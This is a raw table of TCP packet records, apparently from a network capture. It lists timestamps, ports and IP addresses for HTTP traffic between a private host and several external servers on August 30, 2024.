Aug 30, 2024 03:17:06.205960035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205979109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205996990 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.206674099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.206723928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.206732988 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.206738949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.206753969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.206769943 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.206790924 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.267580032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267591953 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267606020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267627954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267638922 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267656088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267656088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.267714977 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267761946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267782927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267797947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.267874956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.267874956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.267874956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.267874956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.267874956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.268168926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.268218994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.268220901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.268239021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.268263102 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.268284082 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.268305063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.268321991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.268332958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.268347025 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.268371105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.269046068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269057989 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269068956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269098043 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.269117117 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.269149065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269161940 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269172907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269185066 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.269200087 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.269227028 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.270006895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270055056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270055056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.270067930 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270092964 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.270104885 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.270134926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270148039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270159006 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270170927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.270190001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.270214081 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.271008968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.271028042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.271038055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.271056890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.271085024 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.332923889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.332943916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.332953930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.332971096 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.332993031 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333056927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333067894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333095074 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333118916 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333162069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333206892 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333242893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333287001 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333317995 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333359003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333365917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333400965 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333400965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333425045 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333435059 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333475113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333515882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333558083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333606958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333642006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333647966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333683014 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333756924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333766937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333802938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333920002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.333962917 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.333992004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334033966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334136009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334167957 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334177017 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334178925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334203959 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334213972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334244967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334259987 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334284067 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334306002 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334532976 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334580898 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334594011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334635019 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334683895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334722042 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334753990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334791899 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334830046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334876060 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334882021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334892035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334903955 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.334923029 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.334949970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.335026979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335037947 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335048914 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335057974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335073948 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.335098028 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.335582018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335598946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335609913 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335634947 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.335644960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335654020 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.335655928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.335684061 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336112022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336122990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336133003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336158991 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336190939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336203098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336214066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336225033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336236954 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336242914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336256027 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336277008 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.336282969 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336316109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.336713076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336723089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336731911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336750984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336770058 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.336795092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.336817980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336829901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336841106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336858034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.336883068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.336930037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336941957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336951971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336962938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.336971998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.336983919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.337007046 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.337845087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.337888002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.337893963 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.337901115 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.337929010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.337943077 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.338047981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.338088036 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.338119984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.338160038 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.358903885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.358953953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.359215021 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.363993883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.377140999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377151012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377156973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377194881 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377218962 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377273083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377284050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377296925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377306938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377311945 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377363920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377367020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377374887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377386093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377396107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377402067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377430916 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377465963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377475977 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377515078 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377573013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377612114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377684116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377726078 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377760887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377772093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377782106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377806902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377824068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.377964020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377974987 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377985001 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.377995968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378005981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378007889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378017902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378020048 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378046989 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378067970 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378485918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378528118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378529072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378541946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378567934 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378576994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378613949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378624916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378640890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378652096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378653049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378674030 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378698111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378756046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378772020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378784895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378796101 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378796101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.378808975 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.378830910 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379492044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379515886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379527092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379540920 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379568100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379631042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379642010 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379652023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379662991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379668951 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379690886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379717112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379755974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379774094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379786015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379798889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.379801035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379808903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379828930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.379848003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380439043 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380462885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380475998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380496025 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380505085 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380517960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380553961 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380577087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380588055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380598068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380614996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380625010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380692959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380705118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380714893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.380743027 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.380753994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.386640072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.386648893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.386693954 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.388714075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.388752937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.388998985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.393789053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.420187950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.420206070 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.420217037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.420255899 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.420408010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464127064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464139938 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464145899 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464220047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464226007 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464236975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464299917 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464344025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464360952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464370966 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464382887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464395046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464468002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464478970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464493036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464504004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464507103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464507103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464507103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464507103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464524984 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464550972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464560986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464570999 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464603901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464606047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464622974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464644909 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464659929 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464690924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464700937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464713097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464721918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464732885 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464735031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464745998 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464745998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464761972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464783907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464818954 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464832067 CEST	80	49735	31.41.244.9	192.168.2.4
